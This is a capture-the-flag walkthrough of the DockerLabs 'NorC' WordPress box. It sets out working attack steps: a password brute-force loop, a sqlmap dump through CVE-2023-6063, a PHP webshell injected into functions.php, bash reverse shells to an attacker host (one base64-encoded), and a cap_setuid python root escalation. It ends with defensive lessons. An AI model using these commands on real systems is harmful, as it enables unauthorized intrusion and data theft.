the_open_door
coffee
ESEN

NorC

DockerLabsHardLinux172.17.0.2

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#dockerlabs#wordpress#vhost#password-protected#brute-force#wp-fastest-cache#cve-2023-6063#sqli#sqlmap#functions-php#webshell#pspy#eval#capabilities#cap-setuid
TL;DR. NorC is a layered WordPress. First a Password Protected plugin bypassed by brute force with a script (cassandra). Then the wp-fastest-cache v1.2.1 plugin, vulnerable to a time-based blind SQLi (CVE-2023-6063) that sqlmap exploits to dump the database and reveal a subdomain, oledockers.norc.labs, where the admin credentials live. With them we inject a webshell into functions.php → www-data. pspy uncovers a kvzlx script that evals a writable file → kvzlx. And a cap_setuid capability on a custom python3 closes the box as root. Note: the original screenshots are external links no longer reachable; outputs are described in text and values that lived only in those images are shown as placeholders.

Recon

Initial scan and vhost

The port scan leaves a web service on 80. The site references the domain norc.labs, so we add it to /etc/hosts to resolve it:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>
PORT   STATE SERVICE
80/tcp open  http
nmap -p80 -sCV <ip> -oN targeted
echo "<ip> norc.labs" | sudo tee -a /etc/hosts
whatweb http://norc.labs

whatweb and Wappalyzer detect two mixed CMSs, Drupal and WordPress. Since there's WordPress, we try wp-admin, which returns a login panel. Direct attacks (brute force, SQLi) hit an attempt limit, a sign we should enumerate first.

Access: password-protected WordPress

Brute-forcing Password Protected

dirsearch reveals the site uses the Password Protected plugin: it asks for a global password before showing anything, with no attempt limit. We automate the attack with a small script that POSTs each word and detects failure by the Incorrect string:

while IFS= read -r pass; do
  response=$(timeout 1.5 curl -s "http://norc.labs/wp-sitemap.xml?password-protected=login&redirect_to=http%3A%2F%2Fnorc.labs%2Fwp-sitemap.xml" \
    --data "password_protected_pwd=$pass&wp-submit=Log+In&password_protected_cookie_test=1&password-protected=login" \
    -H "Cookie: wordpress_test_cookie=WP%20Cookie%20check" | grep Incorrect | awk -F '>' '{print $2}' | awk '{print $1}')
  if [[ "$response" != "Incorrect" ]]; then
    echo "Password $pass correct"
  fi
done < rockyou.txt

The global password is cassandra.

Enumerating wp-sitemap

Past the wall, wp-sitemap.xml chains to other maps (wp-sitemap-posts-post-1.xml → /hello-world/ …) that all converge on the same point. The only valuable info is a yopmail account (public disposable mail read without a password). We save it for later, but for now it leads nowhere, so we move on to enumerating plugins.

SQLi in wp-fastest-cache (CVE-2023-6063)

Finding the vulnerable plugin

With a WordPress-specific path wordlist, wfuzz enumerates the installed plugins:

wfuzz -u http://norc.labs/FUZZ -w WPfuzz.txt --hc=404,302,500,403,400

Up comes wp-fastest-cache v1.2.1, vulnerable to an SQLi for not sanitizing input before using it in the query (CVE-2023-6063). It's a time-based blind injection.

Dumping with sqlmap

The injection fires with the WordPress session cookie. We launch sqlmap and, as soon as it identifies the wordpress database, scope the dump to it, flagging it as time-based to go faster:

sqlmap -u "http://norc.labs/wp-login.php" --cookie="wordpress_logged_in=*" \
  --dbms=mysql --time-sec=5 -D wordpress --dump --batch

We get the admin user's hash (phpass format), which john fails to crack:

john --format=phpass --wordlist=rockyou.txt adminHash --fork=5

But the dump also reveals the admin's email: admin@oledockers.norc.labs. That domain betrays a subdomain.

Access as admin: the oledockers subdomain

We add the subdomain to /etc/hosts and enumerate it:

echo "<ip> oledockers.norc.labs" | sudo tee -a /etc/hosts

On oledockers.norc.labs the admin user's credentials show up directly. They validate on the WordPress login and work:

admin : <password>

Shell as www-data

With an admin session in WordPress, the usual RCE path is the theme editor: we inject a webshell into the active theme's functions.php (twentytwentytwo) and save it:

<?php system($_GET["cmd"]); ?>
/wp-content/themes/<theme_name>/functions.php

We keep nc listening on 4444:

nc -nlvp 4444

From there, the (URL-encoded) Bash one-liner returns a reverse shell as www-data:

bash -c "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"

Shell as kvzlx

The home has a kvzlx script doing something dangerous:

#!/bin/bash
ENC_PASS=$(cat /var/www/html/.wp-encrypted.txt)
DECODED_PASS=$(echo $ENC_PASS | base64 -d)
echo $DECODED_PASS > /tmp/decoded.txt
eval "$DECODED_PASS"

The script reads /var/www/html/.wp-encrypted.txt, base64-decodes it, and evals the result. The file doesn't exist, but www-data can create it: anything we put there (base64-encoded) runs with kvzlx's privileges when the script runs. First we confirm with pspy that the script runs periodically (invisible to ps aux without privileges):

wget http://172.17.0.1/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64

Execution confirmed, we plant a reverse shell in the writable file and wait for the connection on the chosen port:

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzEyMzUgMD4mMQ==" > /var/www/html/.wp-encrypted.txt
nc -nlvp 1235

A shell drops as kvzlx.

Privilege escalation

kvzlx → root (cap_setuid)

We hunt for capabilities assigned to binaries:

/usr/sbin/getcap -r / 2>/dev/null
/opt/python3 cap_setuid=ep

A python3 with cap_setuid can change its own UID to 0 without being SUID: the capability grants exactly that power. We abuse it with a script that does os.setuid(0) and spawns a shell:

#!/usr/bin/python3
import os
os.setuid(0)
os.system("/bin/bash")

Running it with that python3's full path, the resulting shell is root:

/opt/python3 /tmp/rootPrivesc.py
id
uid=0(root) gid=0(root) groups=0(root)

Attack chain

HTTP  ->  vhost norc.labs  ->  WordPress (Password Protected)
    └─> brute-force the wall  ->  cassandra
            └─> wfuzz plugins  ->  wp-fastest-cache 1.2.1  ->  SQLi (CVE-2023-6063)  ->  sqlmap
                    └─> dump  ->  admin@oledockers.norc.labs  ->  subdomain  ->  admin creds
                            └─> functions.php webshell  ->  www-data
                                    └─> .wp-encrypted.txt (eval, writable) + pspy  ->  kvzlx
                                            └─> getcap: cap_setuid on /opt/python3  ->  os.setuid(0)  ->  root

Lessons learned

  • A password wall with no attempt limit is no wall. The Password Protected plugin only adds a global password; without rate-limiting, a script cracks it like any login.
  • An outdated plugin sinks the whole install. wp-fastest-cache 1.2.1 and its CVE-2023-6063 turn a cookie into a full database dump via blind SQLi.
  • The admin's email leaks the architecture. admin@oledockers.norc.labs isn't a minor detail: it reveals a subdomain that had to be enumerated to find the real credentials.
  • eval on a writable file is deferred RCE. A script that decodes and evaluates a file another user can write hands over its account; pspy (repo) confirms the periodicity without privileges.
  • cap_setuid is root with no SUID or sudo. A misplaced capability on an interpreter allows direct setuid(0); audit getcap -r / the same way you audit SUID binaries.
Command cheatsheet 10 commands

Quick review